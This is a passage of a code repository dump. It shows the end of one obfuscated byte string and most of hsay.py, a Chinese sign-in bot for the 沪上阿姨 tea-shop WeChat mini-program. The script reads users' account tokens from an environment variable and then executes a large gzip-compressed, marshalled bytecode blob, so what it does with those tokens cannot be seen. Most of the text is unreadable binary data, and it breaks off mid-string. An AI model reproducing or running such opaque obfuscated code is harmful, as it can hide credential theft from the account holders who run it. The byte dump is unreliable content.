ce@\xf6;o-US\xd2\x12\x8e\xd0\xe4\xb0\x15{\xb41i\xd9x\x96DB\xd7uM4\xe9\x19\xed\x14\xa3\xccT\xb1iL]\x8d\xce=\x7f\xfc+"\xc9\xf3\x14m\xb9\x95v\xe6\xab\xe8\x15h\xe8\xf5\xa0\xc5\xed\xc12\x8f\xd3Lb\xa0\xcf\xd4\x99\xbdU\xef\x1f\xa0&\xf3\xc3\x13\x85\x89lV\xcere\x11\\\xa4"\xdby\xe4J\x87*\x0f\xf3\x18AX\x93\xfclm\xe4\xb1\xc7\xab{\xa7\x96\xd3\xef\xb7_\x9f\xedH3\x1a\xf02\x84\xe0\xf6\xb23}\xf5\xd1\xd7`\xf9\x98k\x93\xbe^w\xdf\r0sO\x86\xe9\xcf~\xb3k&\xe2\xc2\x0bp\\|"\xb2\xbf\xec\x08\xee\xe8{\xb0\x9bW\xb4\xb5\xc8\xfb-a\xc9]\xf3\xad\xe4O{R\x02\xd6sB\x1b\xcf\xddr\xe9.\xf6\x89\x1f\xd5\xdd\xf4Z\x92\xc9\xfc:=\xac\x0b\xb7\xb1\xcd\x13\x1b\x82.m\xc5\x07\x90\xbd\xce\xfb\xb3!_\x84\xd8\x1b\x15\x16uo\xe6T\xff\xfe\xe9E\xa6\xa7\xdfZ\xc7\xc55R(-y$\xace\xe6=\x0cc\x98*\x18\x0c\x95\x8e\xa2\r)[9\x98\x83\xc8f\x86\x87d)v\x12\x07\xd0\xc3\x84\x1f\xa6\xad\xd1\x99\xa1\xf6\xa5\xbe\x1en\x13\x07\t\xcd\xa0t&\x9e\xb4*j(\xf5P5\xe5\xc1w\x11g;\xa8\xf2\xcc\xf8\xdcR\x7f\xe8\xca\xe4\x0c\xcd\x045d4\xb5\x16\xce\x80\xaf\x16\xa6\xd5\xd2r\xee\xeb\x10\ty\xa0\xad<\xea\x14s\x17\xa3\xa8\x85\xb0hN\x1b\nYo\x14v$\x14\xe5\xe0)\xfd\xc4\x94\x1dI3\x9e\xa8QE\x1a\xe5Q%\xb7\xae\xc41\xed2\xd5\xfd\x9e\xd0\x941MJ~\x01\x17\xed\xbe\x9d\x17#\xbe\x1dP#\t\x03%v\t$\x02\x8a\xdeh\\.L\x86\xfe\xc3\xe6\xb3G\x94\x84\xf1\xe5\x9c\xb4\xadt\x08\t\xdc\x93d\x8bt\xf6\x0bA\x12/#\xcb\x9a\xc0\x881=\xe1\x13f\n\x96q\xf2\x00\x0c\xac\xb6\x80\x8b\xae[OGU&%\xf1K\xb5\xac\x80\xaf\x08J\xf98\x95=B\xb85\x0f\x9b5f@\xc8|\xd1\x05!\xc2\x02\xfa\x81\x1f+0-1$\x14\x7fj(\xef\xf7\xb9\xa9\xc8V\xb1\xd3\xb2\xf5}\xde\x02q\x9c\x12\x04?\xf3\xe9\x15=\x83\xc6GM\xbfz\x08r!\xf1\x0c\xbb\xdc\xac\xd0mS1\x9a\xa7O(4[\xeb%\xc5\x01J*y|e\x01\xdb\x84#V\xdc\xdb\\\xcd<\xcbx\x95\x04GH\xf8\xb5\xf0\x82\xef/\xa2\x9c}\xd7\x16\x9d\xcet\xbd\x18::\x9f\xfaO\\P\xf2\x85\xe4\xd8V0L\xc5\x12\xac\xe7\x1a\xb5D\xd8\x91+G\xfe\x15\x93~\rk*\xd3AI\xb5\xe7\xf4\xa5\x00\xc7\xf9\x81\xd5\x0c\'\x9b\x90\rl\x1a\x983\x9e5?LvhZ\xcc\xc0\xed\xc60\x05a\xa6\x7f$\x87\x84\\R|\x1a\xa1\xfb\xc7d\x0fDv\x94\xb8\x8d\xe1T\xce\x99/\xd7\xe2\xba(w\x87\xc71\xb8\x8a\xb7\x14\xbe\x04JV\xa5\xe3\x8e\xab\xd2\xe7\xcb\xcf\x0e\xe9\x07\xe0\xcey\x99\x84\xcb\xe6JNP\x9d~,\xf8i\x8f\xa9\x1faQ\xaf\xa4\x03\x9d\xb7\xbaW]\xb0\xd6`\xf8\xdfo\x16\xe9[\xd5\xf3\x84)\xfd\xae\x15\xe2"\n\xdf\xe6\x03\x04iqogk\x14\xea!(?\x05\xebB\xd4I\x11\xf11\x87\xac\xd10X\xb8\xc4\xb8G\xba\xe6Q\x936e\xe3\xc1D\xbeS\xe2\xa9\xd2\xd5\xa7\xd3\x974RG\xd4$I\x9a\xfd\xd6\xdf\xa5L\x1e\xe9\xeb\x7f(\x80\xba\xb0qg\xa76\x1e\x0e\xe35\xcek\x0c.\xff~\xa3\xc5P\xfa\x83p\xf7\x11b~\x0b}#\x00\xfb1uS\xb8\x90\xbc\xc3\xd4\xf2\xe5\xc3a\xaeC\x97\xe6\x9d\xa7\x85\x1dI\x0f`\x80\x88\x02\xfc*8\xac\x86)\x98\xa3\x92\xd8\xfdi\xaa\xa1q\xb8|\x0e0\xcc~\xd9\xe7\\\xedV\x84\xcb\xe4\x8bQ\xb2\x0b\xccD\xa3\xf1\xc9\xbb\x05O\xab\x80\x1e\xf1\xf7C\xa2\xe4\x9e\x1b\x9fI\xa7\xd6S\xf9+\xa7\xd5\xf9;\x1c\x91\xe8\xc48\xc3\x85\xf0\xbc\x0f+\x87\xf7\xc5\xc4\xef\x0f\x9e!<\xbdFP\xc0-r\x859\xda\xe3\xa5vdbn,\x1f\xd85\xd9\x98\xad\xef\xaea\xf8\x8f\x84\xdf\xd56y\x1aE)k\xeb$\x05\x079j\xe6\x8ac}\xb1=\xa5\xa3TV\x10\xa6`\x02\xd0\xbe\x9c\xcb\xf8\xda\xa5\xcd\xdah\xa1\x92\xa9\xefm\x8f\xd0\xb0\xa1\x96\xd5\x1f-\xa9*\xda\xec\xe3\xbb\x86\x9c\xc7\xd1<\x8feQ\xd7\xb3\x0b\xf8\x07?\x80\xff\xe3Kd\xe3\xf6\xd1\xf7\x952\xea\x99\x17\xe8q\xc0i\x0c\xb2\xdc\xc1\x89,rQ\xa7\xf9DS\xd4\xa1eo\xfbG\x9ci\xa0\xde\x8a\x8c\x92\xe2\xea\x9c\xed\xd0nhWNk\x90\x1c\xb2\xefg\xda\xdb\xc0\x8a\xe0\xb51U\x85xe\xb4Tw\xc6\xa5~UD4J\xccM\xa9\xbc\xcd\xb7z3\xdf\x87W\x8c\xc1k\x11A\xf4t\xba\xc0\x9d\xd7\xfeJ\r=\xdaS!\xdc\xdd\xee}\xfc\x1ce_\xda\xd78z\x15?\x03(\xc3\xeex\x8do\xcb\x95D\xd7}P\xbf`\xf3\xc6\xd46\x8a\xdae\xc5\xc5(\xbc\xf8\xdc\xbb2\xb1\x82\x01\x9a\x06\xd3\xc9\xcc\xbes\xbb\x80\xd7\xb1\x90"\xf9\xac\xaf\x1b\xacL\x8f\x93\xe0\xfc\x0c\x9c\x91\x9a#\xe9/\x9c\xc2\xbd\xdbT[\xef\x1b\xc6_\xa7\xaf\xbe\x97\xc4\x9c\'\x87\xe4l\x02]t\xb4\x95\x88\xc7\xb7X\xd5u\x02M\xa21\xd7\xdf\x06\x9b;Zo\xf7\x9b\xa9_\x88\x85\x00>\xbe\x0e6{\xed\xb2\xedM[k\xc4\xcc\x16\x00\xfa\xd1\x8f\x89%5\xf0\t%Y*A\xb6c\x12\xb7\xfa!-W\x8bFz\xa4\xcbS\x91i1\x80I\x84g\x91V\x99\x8d@\xcf\xc8\x93\xd9\xe4\x8b\x91\xd3#\'U\x02Na7\xd0G)\x0f\xb1Q\xe5\n\xc1\xc6\xc7\xfb\xd6\xc8%~OZ*\xd1Cu\xdb\x96\xbb\x12\x91\xfd\x8aR;TK|\xea\xfd\r\x87\xc2St\xbb\xe4\x19\x99\xdf\xf3a\x10\xf5z\\\x11\x16ss\x14\xd4\xc4J?\x84{\x18\x91T-\x8a\xa4}\x16\x96!\xdb\xf6E0%\xe3\xf1K\x96\x80\xbc\x8e\x9e"\xbc\xf5`\x1f\xfa\xb0\x82W\xd2\x87\x15\xd4?\x88\xbb\xf4R\x03(\xe3\xb8\xea\x90B\xcc\x0c7E\xf4\xf8\xd5\x1fW)\xfb\xe4\t\xcc\xa4\xca\x03\xd8\xc7\x80Z\x97\xc1\xcb~\x0eaAJ?\xb1\x1em\xd40~kR\x0c\x14"\x9brA\xf4\xc0\xe8~\x1f~\xf68\xa1\x0fq\xfaa-r\x13\xdf\xf3s\x07\x04\xfcm\x14\x88\xd2\xc9D\xf1\xa8,\xe5\xe2u\xc2U\xde\xce)\xdelD\xd1l<\xf2\r[\x10\x91\x93I\x952\x16|\xc4\xa9E\xdf\x9c\xa8\xc9\x90$)\x11\xb1\x15s\xab\xfbI\xda}\xdf[[^m\x9eD\x0c:\x91g\xb0\xa1\xbb\xcb\xe6\xfc\xcd\x9dA1hg\x95\xf1\x973)mY:\x1f~\xc01\x19\xe1N\x9e\\v\xa5\x1d\xb9\xd0\xfe-+\xc5q\x83t@-D\xc6\xf1h\x8a\xe0c\xb6\x88\xf4O\xc5\x85\xf0/\x0f\xbey\xac\xa3)\xe9\xcd\r6\x0fA\xf6\xfe\xfb pu\xe1\x89C5\xf2\x84\xcdvH\xdc\xf7\xcd\x11\x99bJz\x8f\x9f\xc6\xaf1\x9f\xac\xc3\xdf\x93\xdcu\xb9\xaa\x83\xc5\x82\'\xf3\xf3\xbcDy\xc1L\x95\xa2\x06MH\x05\x80\xe9\x9a\n5\xaf-F\xde"H\r\xbcv\xcf`\xa2 \x1eUC\xd4v;\x8b\x9f\xbf\xd8o\x8d\x1d\xc1\xfc\x019)5XiY\x1f\xad\xbb\xc8\xfd\x12\xbf\x8bj\x80^\xdcFr\x08\xaa\xe7\x87\xf4\x0fu\x17H\xb5Z\'\xd6\xc8\x13\x14\xaf\x0fC\xac\xaaI\x8f\xeb\xd4e,\x83\x86\x0e\xb9\xf3P\xcb\xa8aKw\xdc\x8d\xb3OS\x17\xe0\xb3\xfa/\xa4$\xf3\xda\xe0\x82\x1a\xe2\xd8~A\x82\x82\xb5g\xa4\x83v\xb2\xa5"\x82\xe2\xbd\xba\xda\xe8\x8f\x96\xbf\x9e+\xa3\xf9\xce\xe5\x1eA\tp\xbdX\xc8d\xc1[\xefy6\xb9\xe9\xd1K\xbf\xb4\x13@\xad\xcc\x813[\xa0\xe6v?\xcfa&U\xc4\x87\x17\xc4\r\xbf\x80\xd5\xa0\xf1Ee\xc2\x15kW\xf9\xad\xf0M|\xfa4\'\xca\xd5\xed\xde\xe6\x01\xbf!\xa7VM\xf7\x02\xd9J\xf9\x1a\xd9\xd9\xf8\x9e\xb5?u\xf2\xc9\x8e5\x86\';\xc0U\x97\xeb5\xba\xe9]\xc1\xf4c\xbd\xb0\xcf\xa7\xc5i\xa9\x04O-=\x9f\xedK\x15\x0e\x1dR=\xf3Mc\x1d\x0b6\xb4\xf1pzZ\xed\x9a\x08\xc3\x83\x13\xf1Q\xd7\x7f\xb9\x8c\t\xf1g>\xc7\xc68z\xde\xbdb_\xb1\xe4;T\xf7gO\x9c\xe8\xfa\x8d\xba\x91\x02X\xc6lFo1>gk\xf8\x99\x1e\xfb\xf6\xd4\xb3C\xdc\xdf\x14\xe4\xe1\xfeL\xb8\xd0\x11\xf2\xb69\'\xe1\xd2p\xd0ew.w\xc7Ih\xab\xda\xbb\xcf*23\\\x14\x05\xbe\x964>9\x9bi\x8e\xe8\xd8U\xael}\x86\xaf\xe6}\xc6\x15\xd7_[\xb2~\x1dX|}q\x11\xbbu3/\x80\xcf\xf39\xaa\\\xb1\xd3C\xfc\x1dM%\xb6}\x81\x0c\xce!\'\'F\'\x97\xed\x10\xd6y6\xe0\xa3*\x9a\x15#\xc7(G\xba\xb7Wd\xb8\xdd\xd8h\x01~L\x12\xd7q%\xac]\xd6Gy\xf7,\';B\xa5\xd6+Mq\xca#\x8c\xaboLe\'\xcb\xe2\xa2P\xb8\xfb\xbd\xa9RL\xed\xc3\xdbT\xd4>\xae\xbd!\xceyonf\xf4\xb7\xb8\x05\x1b\x837\x83\xa13\x93S\x14.dy\x87\xc7f\x89\x97\xe6\xbc\xe7\xa6\x16`\x17\x96`h.\xf9\xfe\x82^\x92)AC\x04\xfd\xc7\xc3\xde;\xeb\x9f#\xa4\xd1\x1aSUb8G\x03\x1d\xbcUU4\x14\r;\x07\xa6o\x0eK\x14\xe7\x9e\x1dLp\x96\x88\xadS\xc6\x14\x90\xfd\x9ez\xac\x80\t\x1a\x0b\x9bc\xcf\x07\xd7}_^\\\xb7T$\xe3\x060\x02\x1b;\xe0p)f\x8bs\xc4\\\xf3hBT\xc3\xbb\x11\x8c\xdb\x17\xfb\x03\xa1q\x9a\xb4[\xa3\xda8;\x16\xaf\x8adg)\xf2\x1e\xe7z\xd7=\xdc\xcb\xa5\x06\xf4\xf6\n\r~\xa6\x12\x9e"664}\x98\xa5\xde\x91mc\xb6\xea\xfd\xe9\xb6li\x92^\x1b\x8c\x85\xd6}\x8e8\xbcx\xba\xc4`\x19\xf6\x19Tj\x8e\x9b?\xa3\xf6\x12\xc92N\xfa$\xa1\x1ds!_\x1d\xf6j\xc8\x92Do\xddm\xcd\xca\xb6\xd8\xddp\xad\xcd\xbbXM\xb0\x02\x88\xe8\xc7\x7fL\x94\xda\xec\x82\xa3\xe7\xe4\x7f\x10\xabJ\xa5\x1aW\x18\x95u\xae\xfa\xc9\xe9u\x01+\xef?\x91l\x8d\xe58\xef\x97\x83\x07\xa6\xe7\'\x08\xb1\xcdF\x9f^M\x03\xa8\xf9\x8ej\xab\xe6\x8aI\xc5:\xdb\xd8i\x9f7Up\xae\x85T0\x10,\x93\x105\xf6\xaeH\xb0f\x99Y\x9e\x1c\xc4=\xa7\xb5\x94\xb0\xf60\xfe\xdc^\'H\xc0\xb2\xbb\xe5\x10\xd6\x19v\xd5y\xc0\x8f\xe7\xc4\xdc@J\xf8\xa4\x04wx\t\xf7\x1eE\x11*\x93\x88#\xa9\xf2\xe0\xb0\xf8\xc3]\xc5\xee$\xddl\x91\xc1\x02\xba\x8f\xdfM6\xd4%\xc5\xd8\xb6h\xfe\xfb\xed\xc3\x88\xfd\x82\xf4w"#6\xa4\'\xe6\x01z\x07\xd0\x15E\xc7r\x11\xa1\x1f9Z\xc0\xe06\x16\x0eh<\x07oG\x0b4\x9e\xb5\xb7\xad3\x1a\xd7\xd2[\x00Mhi\xebd\x01\xb7\xb2\xb5E\xe3y;\xd8Z\xa2\xf1 \x9e\x10+4\xbe\x03\xd4\x02\x0cG?\x06C\xac\xa0\x8e\xce0\x08\x1c^\x82\x05{\xfc\xb7\xfe\xffk\xd7\x8f\xb5\xbcx\x14\xdd\xe0V\x16\xae\x104\xa1\xa4#\x14\xec\xe6\x00\x01b\xff\xf7\xe3\x80\xf3\xd7\x94\xb1\x1cLE\xe8\xfe\xf7\xa9\xff\x01M\xfb\x02\x9e\x82\x11\x00\x00'))) 20 | except KeyboardInterrupt: 21 | exit() 22 | -------------------------------------------------------------------------------- /hsay.py: -------------------------------------------------------------------------------- 1 | ''' 2 | vx-小程序 沪上阿姨 3 | 变量名: hsayCookie 4 | export hsayCookie='token1@token2' 多账号使用 @ 分隔 5 | author: 清风 6 | name: 沪上阿姨 7 | cron: 0 9,18 * * * 8 | 9 | updateTime: 10 | 2024-09-11 增加签到 11 | ''' 12 | 13 | import sys 14 | vesion = sys.version.split(' ')[0] 15 | if vesion.split('.')[1] == "10": 16 | print(f'你当前的python版本为 {vesion},即将运行脚本...') 17 | else: 18 | print(f'你当前的python版本为 {vesion},运行所需脚本环境为 3.10.x, 即将退出运行脚本...') 19 | exit(1) 20 | 21 | try: 22 | import marshal,lzma,gzip,bz2,binascii,zlib;exec(marshal.loads(gzip.decompress(b'\x1f\x8b\x08\x00\xacI\xe1f\x02\xff\x01\xa9\x1eV\xe1c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00@\x00\x00\x00sH\x00\x00\x00d\x00d\x01l\x00Z\x00d\x00d\x01l\x01Z\x01d\x00d\x01l\x02Z\x02d\x00d\x01l\x03Z\x03d\x00d\x01l\x04Z\x04d\x00d\x01l\x05Z\x05e\x06e\x00\xa0\x07e\x01\xa0\x08d\x02\xa1\x01\xa1\x01\x83\x01\x01\x00d\x01S\x00)\x03\xe9\x00\x00\x00\x00Ns\xc4\x1d\x00\x00\xfd7zXZ\x00\x00\x04\xe6\xd6\xb4F\x02\x00!\x01\x16\x00\x00\x00t/\xe5\xa3\xe0\x1e<\x1d\x82]\x001\x802\xa0hC"m;\xa5S\x08\\\xd8\xf7\x17\xa0\x87@\x96\xe0\xf8\xe5/9\xf0\xa2\x10\xfd\xbeM\xf9\x12\xa5\xc3\xaf\xd6\x9b\xa7\x98\x82\xb06\xb0Z\x1f@1\xabX\xf5\x9f\xe1\x91_\x94D:x\xb9\x84;n\x91&\x19J\rx\xcb\x19\x81\xe0!\xfd1j!\nP \xe8\xa8\x8e\x83\xc9\xe9k\x7fIG\xde\x93\xea\xea\xab\x92\xca\xf8W\x1bE\x88y\xfa5K\xbb"\x07*\r\xf7\xca\xb3I;\x19f^\xb6\x1f\xc52V\xc8\x1e\x08\xbb\xc7\x8e\x1d6\xc3(\x9f\x1c\x92\xa5\xa6\xf2\xdf\t\xcbZ\x0b4\xc8~%\xe9\x06Zg\xc8|~\x88\n\xee9\xf5-\xfd\xe4\xcf@\x8f\xba +\xf6\xcb(/zA\x88\x9a\x80\xcdi4\xeb}\xcf)\xff\x94i\x12L\xaa\xf5\x14\x8d$\x9d\r\x8f\xf4z\xf9\xc9\xf9W\x9f\xe5n\x9b)\x1e?yH\xeb\x9e<\xd8\x15\xd7\xee\x06(\x81\xad\xda\xbf\xff\xe7l\x9bp(\x9fS\xdffL\x82LA\xd9\xadV\x15\xb6\x07\xa4!\x100\xead\xd9B\x0er\xc1\n\xda~\xc6@\xc0r<\x8e\xa9\xdb\x7f6\xd5\xc0\x0e\xe0cB7a\x1a\r\xff\xd4-\xc6FL"!\xadQE\x02\x8a\xc3\t\x9d\xb9\xedV\xd7r\xe5-\xabf=\xef\xf7+\x02@\x06\xca\t\xb0xDO\xec\x84\xed\xd3`[\x17x^\xb0N \x0cF\xebh\xe87\xa1eV\xda\x93\x8f\xd3Rv69S0\x95=p\xab\xf2\xfb\xfaRy\x8d\xf5,`o\xf2\xb8\xa5\xa9\x03\xaf\x0f7\xc2\x15C\xbf\x1c\xbd\x8e\xdf\xc7\xa8\x84\\\x9cR\xe7\x9er\x1bf\x12\x13M\xa2\x04\xe0\xb5tBqp A4B\xc6\xde\x98LV\x08\xf1\xbcw\r\xc9\xb8Z\x08n\x14\xb2\xc8\x17J(\xe0\x1a\xe03\x87\xab\xc1\xed\x9bl\x15\xccu\xf5\xfc~\xda\xb2\xe2\x86\xbc^\xc3K\xd5\xc3\rO\xd7\xe7\xb7}\x9b\xc7<_r\x9f\x025\xbf\x88Fdz\xda7\xa3\xc2\x8f\xcdL\xab\x08)\xb5\xf3\xcdo\x9dw\xe4\x8b\xc4r\x99<(\xe8\xb6\xf5\xc9\xaaDUe\xbbw\x1e\xa3s\x9b\xf4\xd5\x15\x1a9\xb1kHg\xad\xd1z\\N\x98w\x0fN\x0b0\xb8,\x9b\xd6\xc6\x98&\xae\x8aV\xa2*\xb1\x1b\xbbb\xf7\x91>\x03\xa4\xd5\x1cX\x83s\x8duu\xe9\x18\xfe\xec\x01O<\xf6&\x00\xect\xde\x1d\x08B\xd8\xa9\x89\x11?\xfb\x05v\xb1\xa3\x16\x90\xe1\xe8,\xee\xedF\x02-\xde\x00\xe6\xb6\x8f\xa6\x15\xf6\x19\x85UI\x16U\xad\x05l!\xc7^l\xa2g$\x01s\x86e\x93\xb0\x1au\xeb]P\xef\x8a\n\xd1\xcdMh\xab\x7fd\xf4\x96~Py6J\x14$\'\x83#\xa47\xf632\xc8n\x99\xb4f\xc1\xc0\xda\x13\x8b\x8c\xc7\xa1m\xb2W\xfb\x1caW\xda\xb1\xbf^\xfd\'\xc1\xc7\xac\xd5\xb1\x812o2\xbb\xd1[\xfdV\xea\x11\xf4\xd7;2\x97\x12\x849\xc2\xf8\x10\xf5\xc6\xd0\x04P\xbc-a\xd6\x86\x91\xbb\xc8\xa6\x94u\x1d\x8a\xb88\x81\xfe\xecP,0{1\xc3"\t\x14\xc24\xdd\xb0K&\xe4\x92\x15c\xd4\xf7\x9fK\x04\xe8P\x1b\xea7p:KH\xe6\xbe\xe5\xc6&\x16"\x01\xac\xd2X\x1dJ\xe1d9x\xcd\x82\x91\xa0\xc9\xc4\x86\xacx\x0b}\x9c@\xeb\x8c\xba\x89\x1f\xa6\xe02C\n\xacr\xbb\xe7\x1aY\x8d\x0e\x8d\x01\x15$\x11.l\xaf\xe1\xc5DHL\xd4\xf4t\x9d\xfc\x1d"\xe9A\x01ii\xe9\xf0\x8f\xbf\xeb\xf5\xa31\xae\x9e\xbf\xd3\xc3\xea\xc6\xc1\x1b\x99\xc2-\xccQ\x113*\xdbX\x18p\xe4\xdf\xdbq\x1e\x9b\xc0\x19x\xd6d\xb1\x90 \xf7\x893\xa7,_h\x8e<\xeb\xb3\xddV28\'dq,\x86\x18\x9elx\xd9&\xabf\xe4+Hj!\xa32*)!n\xfa\xb6A\r\xdax\x89\xe5\x87\xccQ(Y\x15\x12]J0!\xda\xd0V`\x97\x8b\xf2cxD\xf4G]G/\x9f\xbf\x1f\xec\xcc\xb6\xa5\x8b\xce)\xbc\xbe\x14\xc8\xf5 \xa3\xf0\xafLFI\xe1\xb0\xa5\xcd\x03\xb6\xb0}\xa9\xd3\xdd\xdd@\xb9\x0c\xe3\xb8\t\xc7D\xd6a\xad\x9c\r\x04"\x19\x85\x85b\x82y@\xf7\xf1\xb05\x96jv?\xc8K\xba\xa4g\xd9\xa6\xf4\xea\xfcu\xd3\x83\x85\xabE"E\x0c\xb7r\x0b\x8a\x8bT\xe1_\xcf*\xcdk\xa9\xf43\xb8I\xaa*\t$\xe4\xa0\x15\xd4:7a\x9aN?\xa7x\xe5\xbdI\xc4\xed\x18a\x15\'\x01\x13?\xeb\x7f\xbb]\nI6zI\xa2)\'\xfb\xd0\xf9\xe8\x06%3\xd0;\xeb\xc2<]\x0b{\x85d\xa1\xbc\x06M\xe4\x11\xa2\xde\xd2&@R\xbe"\x97&:\xc8\xcd_D\xd4\xfd\xdf3\x96\xa1\x1f\x85&7\x08JZ\x1e\xc1\xf4\xef\nH\xb3l\xb4[K)\xaezj\xca\x85P\x86+\xd2\xd8[\x93e\xda\x95g\xb1\x0b\xa7\xd7!z\xbb\x1a\x86t\xaanv\xc6\xe4u\x17\xcb%\xb4`\xff\xd5\xdf|\x8a\xe1\xe4unJ\x185\xf2\x01\x96\xc3\xe1\xc5\x9c\xbd3A\xcf\xe0\xb2.`\xd9d\xe3\xc0\xf3\xaa\xd6\x17\xe2\x08\xdf\xbfB\x02]1\x92\xd9\x00\xdf\\4\xb5\x1b\xe2\x86\xf0\x19\xaa\xb5\x0f#\x87\x1d\xcftv\xbc\x87\xad4R\xa9\xf7\x85C\t\xb4+\xb4\x18\x1c\xf0[[\x1c\x0b\\\x00\x12!\xcbV\xd4\xa9\x8d\x15\xc6\xb2\x1d\xd9\xd3Y\x17\x83+8\xff\xd7\xc23)\x92 D\xf8R\xc9\xa8\xf1\xb5\x93\xfe;C>,\xb5\x86:d\xbf^\x1f\x82o\x13\x075\xa8`&\xec\xbd8UJ;\xce\xc2\xbf\xe9V\n\xe2\xae\xff\x198lx\x00J\xb2\xbb\xc3K\x06\xbc<\x0b#2A\x99\xb5kB\xfd\x00\xaf\xa2\xa7\xe4I\xfd\xd7\xb7\xffO\xd9\xff\x0b\xc1\xd4\x86\xc5nCO\xa2\xce%\xff1\x1f\x9c\xd6\x13\x0f\xcb`v@f\xca\x03Nq\xf1\xe3\x8d\xcb,\x0bh\xae\xfe\xb1ai3\xea/\x94\x01\xf6V=U\x90\xb9\xcf*\xaf\x19\x92\x8d\x87\xd5\xef\xba`\x00\x86D\x8c\xf0\xad\x0e\xb4=\xd54\xd7\xfb\xed\xa2\xfc\x13\x02\x8d\x97\xb2\x81\x91p\xab\x13\x11\xc5|h3\x03\x0b\xb5^\x95\xae\x01\xcb\x92\xf5\xd5\xef\xa8\xc4\x8b#\x11\xf0\x0c\xe1\x9e\xe7h\xa4_\xd4\x0fT,6\xc3T\x07\xc6#u\xa7}Y\x80\xc6|\xbcP\x8a\xe43\xcfP\x01\x994,\xdd\xfb(\x9d\xbdk6\xa5\x08\xd6\xa5&X\xf7\xedi^\x89\xb6\xe6T\xe6\xeb\x00t,\xe1\x9a\x81\xf8W\x86\xf7\x08\xcd\xdb\xdf\x04\xb5\xf6\xec\xa0c\x9c\x04\xce(XN\xd1\xda\x80\xc6\x98\xa8\x01\xd2\x0e%\x8eb\xb8\xfb\x06k\x9c\xa7c\x92\xffX\xdb\xfd\xaf\xd6w\r\xca\x96\x0c\xf1\xe4\x1dNr \xef\x07\x05\xdb\x80\xc6cZo\xb1\x1e\xe6\xcc\x91p\n\x9f?\xd6\xaa\xffeB#\x0e\x06\xd1BqQ\x89\xb9%\x840\xb7\xbb\x98\xafj)\xd7\xc6\x05\xa5_\xc1I\\\x84\xa0nx\x15\x04Y\xe0L\xb3\xfc\x93%\x0e\x85(\xe3\x8f\x8a\x9fll\x03""\xe1\x1cG@3J\x9e\xb7/\xe9\xd0j-\x1b\xc0\xd6\xc8\r4\xf1\\U\xc3%\x16\xcdO\x0c\xad\xf9@\xbd\x04/^\xac\xcd~q\x90\x9dQm\x01\xff"j\xad\xae `\xcfM\x92W\x88<\xfd\xc2\xfa\x13\x9b\xc2\xb1\xd8$\xc6y\x12\xc7v\xb4\x80 \x94\x8f\xef\xd0\xd3\x16x\xc1\xe3\xa0\xc40\xbd\xc9Q[.\x04\x1ag\x9a\xe4\xef\xd7h\xab#\xfd\xff\xc9\xbe\xa3\x11%3/D:.\xf9\xda\xe9\xed\x04\x03,8\x95fmZ!U\x89r\xd1\xb9\x87"\xc0\x15&\xb40\xad-\xc5\xcd\xffR\x15\x91\xd2I\x1f\x9fO0\xa2\x8eM\x197s\xfb\xa9\xa0N\xa0\x91G\xd9]D\xf1\xd0\x11]\x84\xf3j\x07!5@\x0c6\x9a\x0b(\x1bL\xf6\\ja\x07\xd8\xcb\x87\x8b\x8d\xf3\x0b\x90p\xab\x9e\xb2\x9b\x90*\xc7\xd1w4\xec\xca\xaf\x85\xd2e~c\xb8\x9e\xc3\xae\x05p\xfe\xcc\xbaV+\x07\x06\\\x9b\'`\xfb1j\x04\xc1\xb1\x92C\xb7\xe9\xcd\xf9\xbb!\xd3EN\xb8\x85z\x8e)\x9f\xc0}\xabM\xcb\x13\xdcw,\xb8\x00r\xcb\xc7\xd1\xf2\xc6\xd1\xe1\xcdsI\x1d\xdba\xe4b\xc1\xd7\x81\xa9\xc2\xff\xc8\x84c\x10\xf5\x014n\x9c\x8e;\xc6h\xc3\xc4\xb6j\x8a\xd3\x82\x9aRi\x8e~\x151.6\xb0\xac\xc3\xcf\xf4r\xbe\xeb\xf7\xb3\xdf\xa4\xdd\xd7\xb6c.?\xf2\xab/\x99M\x1a;+\xb5\x06J\xb1{\x84\x80k\x85O\x07k\xb9!\x8f4\x0fc\x13\xd1+\xd2%\xb6)\xe0\xfb\xa9\xc0\x81v_fe\x85\xd1p\xbc\x07^\x8cR\xb4\xfb\x00\xe2\xccT\t\x91\xfeU\xdb\x80ilZ\xdb\x8e\xc3\xd5\xc2h\xca)\xb1!P$\x1a\x1c\xa5\xe8\'J+\xa4\x16~\x96X7\xe0\xcf\x0f\x8d\xa1\xf4\x01\x17m%\x95\x8e\x93\xff\xe3]X\xa6\xf6\x11\xc9\xad\xf9\x9c=:\xbd\xab\xbb\xf8\xfbF\xdf\xa48\x93~\xf9\xcf\xa7\xa5LE3-\xf6\x01D\xc7\xf0\x1f\xb5\xc7C\xcc\x81p\xc1Z8\x04\x9co\xd0\xf6\xb6\xcc\x88\xe4\x824\xdd&\nS\x14&^\xa7\xc4\xc7\xaa\x84u\xc5\xd8\xa4Z}w\xf3o\xb2\x93I\xe4 \x18\x86\xe9\xd1\x9b0\xd2\x91\xf6h\xb6\x9a\xa3\x02[\xf6\x15\xeb\xfb\x14\xf1\xfc,V[\xc6\xf1\xc5\xa0\xb9@\x92\x02\xf3_FM3\xbc-T\\\xe3->a\x98\xd2\x9e\xce_y\xaf\x9a\xfdW\xaf\x88\xde7\xdc\xc0\xa7\xac\xae3\x1c\xfa\xbb\x02\xe7\xdc\xac%\xdf\xcf\xf3A\x1f[&1.\x9f/\xc6P\xb6\xab\xc5{(~#\xa2\xf64<\x0f\xb4\x96\xa3-\x86\x9f\xb2U\xc6\x065\xedk<\xcb\xf3\x8b\x8c\xb4.\x95\xcb\x8ff\x9a>\x8e6\x10\xa2\xfen\xa2_3}<\xebu\xa8(d\xeb\x87\x00\x18d\xd8!\xe9,*N\x89\xc5\xa0\xdb\xcfo\x0fB\xfd\xa9%Y\xba\xf8\x85\xfc\x91k\x82\xfb?\x14\xb5\x85g\x9e,\x95bw\xecE\xbfISs\xa4/\xc6\x17\xde\x94\xc7sW7T\x08\x81Hl\x8f\x1f\xd4\x1e!\xf6<\xf8\x10\x8e\x85\xd2\xc3\xf4\xad\x88=\x9f\xf7s\xee;f\xd6\xd9A\xb4\xac\xa5Z\xd7q\x15\xa8\xca\xb7*\x163\x16\x7f\x08^\x08\x06\xfe,U\xe9D\x9d\xc9\x92R-\xb2\xf8\x96E\xbc\xd1\xb84\x18D\xf9h\xed\x0e\xbbr\x01\xf1\xf7\x97x\xc2\xa4P\xb7\xd6E\x97\x14A\x03\xa6\x89f\xefO\xf8,\xfdU\x8b2\xf96\xaa\xc0\x89\xdd\xf1\xa4\x1a\xbd\xc6\xfa\x84\xda\x16\x10y\xa6\xe4\x